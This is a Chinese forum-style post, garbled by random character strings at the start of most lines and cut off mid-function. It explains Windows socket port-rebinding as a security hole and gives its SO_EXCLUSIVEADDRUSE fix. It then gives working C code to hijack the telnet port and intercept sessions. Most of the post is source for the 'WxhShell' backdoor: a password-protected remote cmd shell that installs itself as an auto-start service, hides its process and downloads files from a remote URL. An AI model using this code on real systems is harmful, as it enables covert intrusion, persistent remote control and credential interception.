在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
wHAoO#`wn5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vRYfB{~ *Xn{{ saddr.sin_family = AF_INET;
*oKc4S+ j[
kg9z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
pa4zSl Rs8^ 27 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Yfs60f t1wNOoRa 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
S:+SZq }p]8'($ 这意味着什么?意味着可以进行如下的攻击:
fiES6VL QI.{M$,m~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
OpW4@le_r OZB(4{vnyC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)zf&`T h/mmV:v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[; ( Y'q%$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
`XE8[XY mi`!'If0) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:Bz*vH M._9/
*C U 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S[n;u-U .m9s+D]fI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
L$=6R3GI Akb#1Ww4 #include
#kR8v[Z #include
!c4pFQ B #include
"6[fqW65 #include
DW\';" DWORD WINAPI ClientThread(LPVOID lpParam);
~Uz,%zU#3 int main()
]O,;t> {
^M0e 0 WORD wVersionRequested;
[]}E-
V DWORD ret;
&-dyg+b3 WSADATA wsaData;
]N!8U_U3 BOOL val;
G0Eqo$W)S SOCKADDR_IN saddr;
fb0i6RC~& SOCKADDR_IN scaddr;
2/<VoK0b int err;
V\5ZRLawP SOCKET s;
@A GM=v SOCKET sc;
>TK:&V int caddsize;
\Z{6j&; HANDLE mt;
\7n ;c DWORD tid;
[AstD9 wVersionRequested = MAKEWORD( 2, 2 );
=aX;- err = WSAStartup( wVersionRequested, &wsaData );
]+@ @{?0 if ( err != 0 ) {
VJ8cls< printf("error!WSAStartup failed!\n");
lyc
]E
9 return -1;
P+tRxpz }
+*Y/+.4WE$ saddr.sin_family = AF_INET;
F=?0:2P0bD IH(]RHTp% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4^/MDM@ jNd."[IrO saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
yr8
b?m.x saddr.sin_port = htons(23);
&66-0d+Sh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G6]W'Kk {
pN|BtrN{ printf("error!socket failed!\n");
=4+Wx8ZeW return -1;
7jPPN }
#;4<dDVy val = TRUE;
D"UCe7 //SO_REUSEADDR选项就是可以实现端口重绑定的
l6]:Zcd0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
l.[S.@\ =. {
SM;UNIRVE printf("error!setsockopt failed!\n");
W@Et return -1;
0eP7efy }
<]1Z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4HG;v|Cp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
XRARgWj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
-9W)|toWb" O~D>F*_^j if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.K%1{`.| {
Wwo'pke
ret=GetLastError();
*i3\`;^= printf("error!bind failed!\n");
xvn@zi return -1;
j]Y`L?!Q }
82d~>i%T listen(s,2);
WD.td while(1)
hilgl<UF {
c~ x caddsize = sizeof(scaddr);
jiw5>RNt //接受连接请求
h]WPWa)M sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`#J0@ - if(sc!=INVALID_SOCKET)
sa6/$ {
#2
Gy=GvV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7-S?\:J if(mt==NULL)
b{4@~>i {
%QYW0lE printf("Thread Creat Failed!\n");
2E7vuFH4c break;
Ilf;Q(*$>> }
-|_#6-9 }
"]H_;:{f CloseHandle(mt);
xb8S)zO]Q }
]c/k%]o~ closesocket(s);
1j4tR#L WSACleanup();
f0Wbc\L[ return 0;
qrdA4S }
m^?a / DWORD WINAPI ClientThread(LPVOID lpParam)
*DBm"{q%&k {
at<N?r SOCKET ss = (SOCKET)lpParam;
E^'f'\m SOCKET sc;
R(.5Hs unsigned char buf[4096];
P qUjBP\ SOCKADDR_IN saddr;
gu:8+/W8L long num;
T)N_ ~f| DWORD val;
my1FW,3 DWORD ret;
U0X,g(2' //如果是隐藏端口应用的话,可以在此处加一些判断
K3g<NC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
gs/ i%O saddr.sin_family = AF_INET;
Vd%%lv{v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~F; ~ saddr.sin_port = htons(23);
ZhvZe/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bEvlk\iql {
) oypl+y printf("error!socket failed!\n");
OQ*BPmS-
return -1;
EjY8g@M;t }
`_;sT8 val = 100;
WZh%iuI{C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
L<dJWxf?D {
>G#SfE$0 ret = GetLastError();
b9Fd}WZz return -1;
X>-|px$vy }
n VNz5B if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
."X}A
t {
xOY
%14%Y ret = GetLastError();
t,P_&0X return -1;
c2E*A+V#u }
E^K<b7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_EEOBaZ {
IJ[r!&PY printf("error!socket connect failed!\n");
|^:qJ;dOP closesocket(sc);
3:]c> GPQ closesocket(ss);
b aO^Z return -1;
UA0j# }
O-uno{Fd* while(1)
(g HCu
{
^osXM` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
./l^Iz&0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
v^0*{7N' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
f\+ E&p. num = recv(ss,buf,4096,0);
.m gm1zz if(num>0)
KA#P_e{<@ send(sc,buf,num,0);
Sdo mG?;kV else if(num==0)
fex<9'e break;
> a?K![R num = recv(sc,buf,4096,0);
y]U]b G{ if(num>0)
@'AjEl:&-_ send(ss,buf,num,0);
_-+xzdGvX else if(num==0)
j:>_1P/ break;
3u,C I! }
_ J t closesocket(ss);
4it^-M closesocket(sc);
Ea,L04K return 0 ;
-xVp}RLT }
{r>iUgg j0wpaIp z?3t^UPW ==========================================================
:HiAjaA1pg '-KYeT\; 下边附上一个代码,,WXhSHELL
14DHU u5Tu~ ==========================================================
T9'd?nw9 a
+$'ULK+r #include "stdafx.h"
]_5qME#N "ZYdJHM #include <stdio.h>
~NV 8avZ #include <string.h>
*Ei(BrL/; #include <windows.h>
o'?[6B>oj #include <winsock2.h>
m%s&$ #include <winsvc.h>
c>b!{e@* #include <urlmon.h>
ZZ*+Tl\
s G^%FP!'D? #pragma comment (lib, "Ws2_32.lib")
"h`oT4j5q #pragma comment (lib, "urlmon.lib")
7TU(~]Z S*3*Q l* #define MAX_USER 100 // 最大客户端连接数
&l8eljg #define BUF_SOCK 200 // sock buffer
)W,.xP #define KEY_BUFF 255 // 输入 buffer
[:BD9V cF V[k'F #define REBOOT 0 // 重启
+Y!
P VMF #define SHUTDOWN 1 // 关机
V] 0T P# y>! 8mDvZ #define DEF_PORT 5000 // 监听端口
nl)l:A+q8 ascY E #define REG_LEN 16 // 注册表键长度
,j!%,!n o #define SVC_LEN 80 // NT服务名长度
cp_<y)__ Q8Fqf
;4 // 从dll定义API
$a#-d; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Fm#`}K_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
T0e- X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Z#NEa.] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
sS{!z@\Lf M 8NWQ^Y // wxhshell配置信息
E'
_6v struct WSCFG {
`i5 \(cdl int ws_port; // 监听端口
MLT^7'y char ws_passstr[REG_LEN]; // 口令
ss0`9:z int ws_autoins; // 安装标记, 1=yes 0=no
X#Sgf|$ char ws_regname[REG_LEN]; // 注册表键名
0&$,?CL?
char ws_svcname[REG_LEN]; // 服务名
I83 _x|$FZ char ws_svcdisp[SVC_LEN]; // 服务显示名
5<$8.a# char ws_svcdesc[SVC_LEN]; // 服务描述信息
=9!|%j char ws_passmsg[SVC_LEN]; // 密码输入提示信息
93VbB[w~7F int ws_downexe; // 下载执行标记, 1=yes 0=no
`8lS)R! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
e.VQ!)> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K6EG"Vv! 'ju'O#A9 };
}bZb8hiG <Toy8-kj // default Wxhshell configuration
OB4nE}NO struct WSCFG wscfg={DEF_PORT,
){I!orQ "xuhuanlingzhe",
"$#<+H>O 1,
A4{p(MS5 "Wxhshell",
{2.zzev' "Wxhshell",
&V(;zy4(R "WxhShell Service",
#ZyY(S1. "Wrsky Windows CmdShell Service",
Zg&o][T "Please Input Your Password: ",
j"r7M|Z+V 1,
JUCp#[q "
http://www.wrsky.com/wxhshell.exe",
+~n4</ "Wxhshell.exe"
3lsfT-|Wt& };
cH:9@> '$a Qf($F,)K // 消息定义模块
4DgH/Yo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6an= C_Mb` char *msg_ws_prompt="\n\r? for help\n\r#>";
6]|-%
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
eq(1'?7]`G char *msg_ws_ext="\n\rExit.";
uGpLh0 char *msg_ws_end="\n\rQuit.";
\C<'2KZR, char *msg_ws_boot="\n\rReboot...";
{|B
2$1': char *msg_ws_poff="\n\rShutdown...";
S|
|OSxZ char *msg_ws_down="\n\rSave to ";
0[ZB ^ j8)rz char *msg_ws_err="\n\rErr!";
Oq*;GR(Q char *msg_ws_ok="\n\rOK!";
N c(f+8 \7PC2IsT3 char ExeFile[MAX_PATH];
Wud-(19 int nUser = 0;
^{Fo,7 HANDLE handles[MAX_USER];
}2hU7YWt int OsIsNt;
B9dc* f= A`{8^ SERVICE_STATUS serviceStatus;
r
m SERVICE_STATUS_HANDLE hServiceStatusHandle;
|OiM(E( 5)C`W]JE // 函数声明
BG8`B'i int Install(void);
&3$FkU^F6 int Uninstall(void);
a0&L,7mu<' int DownloadFile(char *sURL, SOCKET wsh);
* hmoi int Boot(int flag);
K=1prv2 void HideProc(void);
s`en8% int GetOsVer(void);
i ?%_Pu int Wxhshell(SOCKET wsl);
&Jd_@F#J void TalkWithClient(void *cs);
dUL*~%2I int CmdShell(SOCKET sock);
BA8g[TA7K int StartFromService(void);
9]vy#a# int StartWxhshell(LPSTR lpCmdLine);
^'p!#\T;H zF@[S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
M#k$[w}= VOID WINAPI NTServiceHandler( DWORD fdwControl );
(#BOcx5J] dpvEY(Ds // 数据结构和表定义
A|(!\J0 SERVICE_TABLE_ENTRY DispatchTable[] =
}5AA}= {
[]G@l. ]W {wscfg.ws_svcname, NTServiceMain},
L{0\M`B- {NULL, NULL}
/@64xrvIl= };
VwKfM MI8 MZ?+I~@ // 自我安装
T"3:dkQw int Install(void)
I;9C":'# {
26}fB char svExeFile[MAX_PATH];
y~'%PUN HKEY key;
! u@JH` strcpy(svExeFile,ExeFile);
D*/fY=gK _jb&=f8 // 如果是win9x系统,修改注册表设为自启动
A=sz8?K+` if(!OsIsNt) {
4Uhh]/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,3
[FD9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t?H
sfN RegCloseKey(key);
D?FmlDTr[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pVM1%n:# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ITy/h]0 RegCloseKey(key);
?pWda<& return 0;
zY2x_}#Q\" }
i|rC Ga0} }
fohZ&f|> }
nlZJ}xZ else {
hka%!W5 Wuk!\<T{ // 如果是NT以上系统,安装为系统服务
$Wu|4]o>9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.kTOG'K\e if (schSCManager!=0)
;ojJXH~$} {
g'td(i[ SC_HANDLE schService = CreateService
;9<?~S (
X%5 `B2Wu schSCManager,
T$sm}= wscfg.ws_svcname,
biZ=TI2P,L wscfg.ws_svcdisp,
H43d[@h SERVICE_ALL_ACCESS,
W$<Y**y9m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
hW9U%-D SERVICE_AUTO_START,
22*~CIh~x SERVICE_ERROR_NORMAL,
'nS>'yYH# svExeFile,
shEAr*u NULL,
N85ZbmU~
NULL,
FNs$k=*8 NULL,
A"1%E.1 NULL,
}~p%e2< NULL
3
}3C*w+ );
8|nc($}~ if (schService!=0)
A-, hm=? {
|h\A5_0_ CloseServiceHandle(schService);
F2{SC?U CloseServiceHandle(schSCManager);
VUOe7c= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R?y_tho4A strcat(svExeFile,wscfg.ws_svcname);
4];>O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5LZs_%# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P@Fx6 RegCloseKey(key);
BC5R$W.e return 0;
q VavP6I }
D< kf/hj }
?M^qSo=/~ CloseServiceHandle(schSCManager);
3.9/mztS }
~Kl"V%> }
~pHuh#> h/2@4XKj return 1;
%<r}V<OeR }
<m0=bm{j E@6gTx* // 自我卸载
W*?qOq
{ int Uninstall(void)
3dJiu {
Xpv<v[a HKEY key;
-zWNQp$ $$SJLV if(!OsIsNt) {
qO/3:- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#*%?]B= RegDeleteValue(key,wscfg.ws_regname);
v2a(yH RegCloseKey(key);
+_25E.>ml if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Hy -)yR RegDeleteValue(key,wscfg.ws_regname);
138v{Z RegCloseKey(key);
TRJTJM_k return 0;
M`7[hr }
n/`!G?kvI }
)L7[;(gQ }
@
'c(q=K; else {
!/ dH"h XB@i{/6K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[XH,~JZJj if (schSCManager!=0)
CpK:u!
Dn {
IwOL1\'T4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(N/-blto if (schService!=0)
x iz+R9p {
BS?i!Bm 7 if(DeleteService(schService)!=0) {
RCi8{~rIvS CloseServiceHandle(schService);
J1w3g, CloseServiceHandle(schSCManager);
@BPQ > return 0;
O S#RCN* }
w%::~] CloseServiceHandle(schService);
Aar]eY\ }
w
`+.F;}s CloseServiceHandle(schSCManager);
qu!x#OY+ }
,%qP }
e
z_c; $5\!ws<cZ return 1;
{=,G>p }
%_!0V*X* [k75+#' // 从指定url下载文件
=M9R~J! int DownloadFile(char *sURL, SOCKET wsh)
0l/7JH_@V {
?* r HRESULT hr;
.tHjGx
char seps[]= "/";
`z.sWF|f!O char *token;
Q&lb]U+\u char *file;
)A6=P%;}>I char myURL[MAX_PATH];
&/:c?F?l char myFILE[MAX_PATH];
.t9`e=% &
P%# strcpy(myURL,sURL);
,izp^,` token=strtok(myURL,seps);
Zop/ MeI while(token!=NULL)
4^k8|#c {
t=My=pG file=token;
r\}?HS06 token=strtok(NULL,seps);
etUfdZ }
TXT<6( ic3Szd^4 GetCurrentDirectory(MAX_PATH,myFILE);
Yakrsi/jV} strcat(myFILE, "\\");
#f;6Ia># strcat(myFILE, file);
t:P7ah send(wsh,myFILE,strlen(myFILE),0);
f="Zpl W send(wsh,"...",3,0);
E{QjmlXQ< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+]GP"yv- if(hr==S_OK)
q2OF-.rE return 0;
}}u`*&,g else
&;WK=# return 1;
S,udpQ7 U>00B|<GJ }
kGC*\?<LmR ^CM@VmPp // 系统电源模块
M,yxPHlN int Boot(int flag)
("{vbs$; {
b|G~0[g HANDLE hToken;
xls
US'Eo TOKEN_PRIVILEGES tkp;
nr8#;D HRQfT>"/ if(OsIsNt) {
V$:%CIn OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ttHRc! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
~p:hqi1+<+ tkp.PrivilegeCount = 1;
/VP #J<6L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
t/%[U,m AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
tUW^dGo. if(flag==REBOOT) {
{5HQ=& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Fp"c { return 0;
9b&;4Yq!f }
|}:q@]dC# else {
!6sR|c"~j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
PR AP~P&^ return 0;
[3ggJcUgW> }
qF-Fc q }
I>w|80%% else {
'vZy-qHrV if(flag==REBOOT) {
EZVgTySd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;PqC*iz return 0;
?5;wPDsK }
jsF5q~F else {
ME$J?3r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.QA1'_9 return 0;
Im};wJ& }
(lq%4h }
bE=[P}E
Jk:ZO|'Z return 1;
hOV5WO\ }
&B1!,joH~ %F$]v // win9x进程隐藏模块
h/y0Q~|/d void HideProc(void)
Fo5UG2E& {
ACFEM9 [= N6T HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!}c\u if ( hKernel != NULL )
|oX9SU l {
gx eu2HG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
nE0I [T( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:uqEGnEut FreeLibrary(hKernel);
%U.x9UL }
Jy[rA<x$ teLZplC=f return;
5p-vSWr! }
+# !?+'A /}%C' // 获取操作系统版本
jaVx9FR+ int GetOsVer(void)
U[q3 9FR {
(y\.uPu! OSVERSIONINFO winfo;
P!)F1U]!
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hv#LKyp% GetVersionEx(&winfo);
^)$T` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
vfVF^
WOd return 1;
)7AjRtb!/ else
e(OKE7 return 0;
.lI.I }
nJ1<8 p xk,1D // 客户端句柄模块
RUut7[r int Wxhshell(SOCKET wsl)
bGwj` lue {
B4c;/W- SOCKET wsh;
l Dwq[ I]w struct sockaddr_in client;
f{\[+> DWORD myID;
*$JS}Pax Q&PEO%/D while(nUser<MAX_USER)
!>+m46A {
p^p1{%= int nSize=sizeof(client);
]C|xo.=?] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I8IH\5k if(wsh==INVALID_SOCKET) return 1;
N>g6KgX{K ;qUd]c9oi handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
s%m?Yh3 if(handles[nUser]==0)
bHTTxZ-% closesocket(wsh);
mM+^v[= else
.\)ek[? nUser++;
S3QX{5t\ }
BHNJH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
O-~cj7
0\ MRK3Cey} % return 0;
w2`JFxQ^x }
1p SEr6 ZLf(m35 // 关闭 socket
)sK_k
U{\ void CloseIt(SOCKET wsh)
<BBSC {
tqKX\N=5^ closesocket(wsh);
iRv\:.aQ. nUser--;
+<f+kh2L
ExitThread(0);
Qi9M4Yv }
em ]0^otM 6}\J-A/ // 客户端请求句柄
Gq?>Bi;` void TalkWithClient(void *cs)
:0o]#7 {
i^4i]+ 6HpiG` SOCKET wsh=(SOCKET)cs;
:D !/.0 char pwd[SVC_LEN];
F7=&CW 0 char cmd[KEY_BUFF];
k4"O}jQO char chr[1];
_gCi@uXS3 int i,j;
w (ev=)7< @ "CP@^ while (nUser < MAX_USER) {
H^$7= 5<oV>|*@{ if(wscfg.ws_passstr) {
Ik=bgEF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ag!q:6& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
rC ,ZRFF //ZeroMemory(pwd,KEY_BUFF);
#g1,U7vv8 i=0;
;M*G while(i<SVC_LEN) {
1ZWr@,\L :ee'|c // 设置超时
S9qc34\^= fd_set FdRead;
9;
aOUs:< struct timeval TimeOut;
X}&Y(kOT FD_ZERO(&FdRead);
`mN5s q FD_SET(wsh,&FdRead);
>kDkv g1" TimeOut.tv_sec=8;
Cv]$w(k TimeOut.tv_usec=0;
U/\LOIs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
N'%l/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$n::w c
&>}f\ch/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zogl2e+ pwd
=chr[0]; E/>kvs%
if(chr[0]==0xd || chr[0]==0xa) { 5d)\Z0s
pwd=0;
`EVy
break; {iTA=\q2O
} 5F1P|t#
i++; zZPXI&,
} 4z qO!nk
u#$sO;8s
// 如果是非法用户,关闭 socket ]"\sd"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cs^'g'
} v%E!
4Jw_gOY&D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ):5H,B+Vr&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MQo/R,F }
]%h|ox0
while(1) { uCf _O~
*p^*>~i9)
ZeroMemory(cmd,KEY_BUFF); K|rGJ
7x(z
// 自动支持客户端 telnet标准 /f! ze|
j=0; L:UPS&)
while(j<KEY_BUFF) { Pbakw81!~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NH8\}nAK
cmd[j]=chr[0]; <e-hR$
if(chr[0]==0xa || chr[0]==0xd) { n%ZOR1u)k#
cmd[j]=0;
wD $sKd
break; %9T|"\
} )'$'?Fn
j++; q_h/zPuH'
} <+p{U(
VCvFCyAz
// 下载文件 ~J|B
if(strstr(cmd,"http://")) { KU87WpjX
send(wsh,msg_ws_down,strlen(msg_ws_down),0); EN@<z;
if(DownloadFile(cmd,wsh)) e>b|13X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "jP{m;p
else =XZd_v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?.69nN
} c(lG_"q6
else { PO]c&}/
o/I`L
switch(cmd[0]) { *|3G"B{w6
w(!COu
// 帮助 *o#P)H
case '?': { [^\HP]*Q{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _4X3g%nXl
break; I8
} E:$r" oS
// 安装 [?VkwFD0
case 'i': { q,.@<s W
if(Install()) Y|F~w~Cb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y86mg7[U/
else /"7_75
t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kD_616
break; L9,O,f
} PsyXt5Dk
// 卸载 ^:^8M4:
case 'r': { :<R"Kk@
if(Uninstall()) ]+@I]\S4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/$ 5{<
else ^ <+V[=X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YiTVy/
break; {3|h^h_R
} T9-2"M=|<
// 显示 wxhshell 所在路径 WXJ%hA
case 'p': { ,qK3
3Bn
char svExeFile[MAX_PATH]; oNIt<T
strcpy(svExeFile,"\n\r"); IF<<6.tz
strcat(svExeFile,ExeFile); i-`J+8|d
send(wsh,svExeFile,strlen(svExeFile),0); >
ZKHjw
break; g I@I.=y
} 1\%2@NR
// 重启 1YvE/<6
case 'b': { L(_bf/@3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ac#I$V-
if(Boot(REBOOT)) VK^m]??s_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?m:,hI
else { 75*q^ui
closesocket(wsh); # 4;(^`?
ExitThread(0); 9=p/'d8
} 0z`-fQfK
break; ^(T_rEp
} ] 5:0.$5
// 关机 8\$u/(DX
case 'd': { m 9.BU2.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L IRdWGQ4
if(Boot(SHUTDOWN)) jLF,R7t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mD go@f
else { wdQ%L4l
closesocket(wsh); ngC^@*XAw9
ExitThread(0); a0
8Wt
} 4-~S"T8<u
break; [^eQGv[S
} T6I$7F
// 获取shell raB',Vp
case 's': { +`l)W`zX
CmdShell(wsh); 2HF_kYZ
closesocket(wsh); t-VU&.Y
ExitThread(0); whh#J
(
break; @Avve8S
} d3tr9B
// 退出 @$!rgLyL[
case 'x': { sJ5Ws%q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J6RzN'j
CloseIt(wsh); ,^uQw/
break; Q>
J9M`a
} }C<$q
// 离开 W?R@ eq.9
case 'q': { :L5k#E"u
send(wsh,msg_ws_end,strlen(msg_ws_end),0); i{4J$KT
closesocket(wsh); 2su/I
WSACleanup(); WADAp\&
exit(1); ){$*<#&H
break; !]t5(g_
} `xF^9;5mi
} Qk]^]I
} f7oJ6'K
],l\HHQ
// 提示信息
} @4by<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TWSx9ii!M:
} JbLHW26pl
} i.0.oy>
['Y"6[1
return; kKz>]t"A
} VhLS*YiSY
>h{)7Hv
// shell模块句柄 }}gtz-w
int CmdShell(SOCKET sock) 4{CeV7
{ ^~JF7u
STARTUPINFO si; S$NJmXhx5
ZeroMemory(&si,sizeof(si)); w,eW?b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y>SpV_H%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w5*
Z\t5
PROCESS_INFORMATION ProcessInfo; 7,"y!\
char cmdline[]="cmd"; 1Ms_2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8M8Odz\3 q
return 0; 0N`N
} Ff&kK5}q
>.&E-1[+:
// 自身启动模式 \IO<V9^L
int StartFromService(void) AfvIzsT0
{ \%|%C
typedef struct sMgRpem;
{ O 4'/C]B2
DWORD ExitStatus; ky@ZEp=
DWORD PebBaseAddress; vC!B}~RG
DWORD AffinityMask; n<e1=L
DWORD BasePriority; mKuY=#R P
ULONG UniqueProcessId; <ZjT4><
ULONG InheritedFromUniqueProcessId; y_LFkZ
} PROCESS_BASIC_INFORMATION; AwWo,Y399h
|./{,",
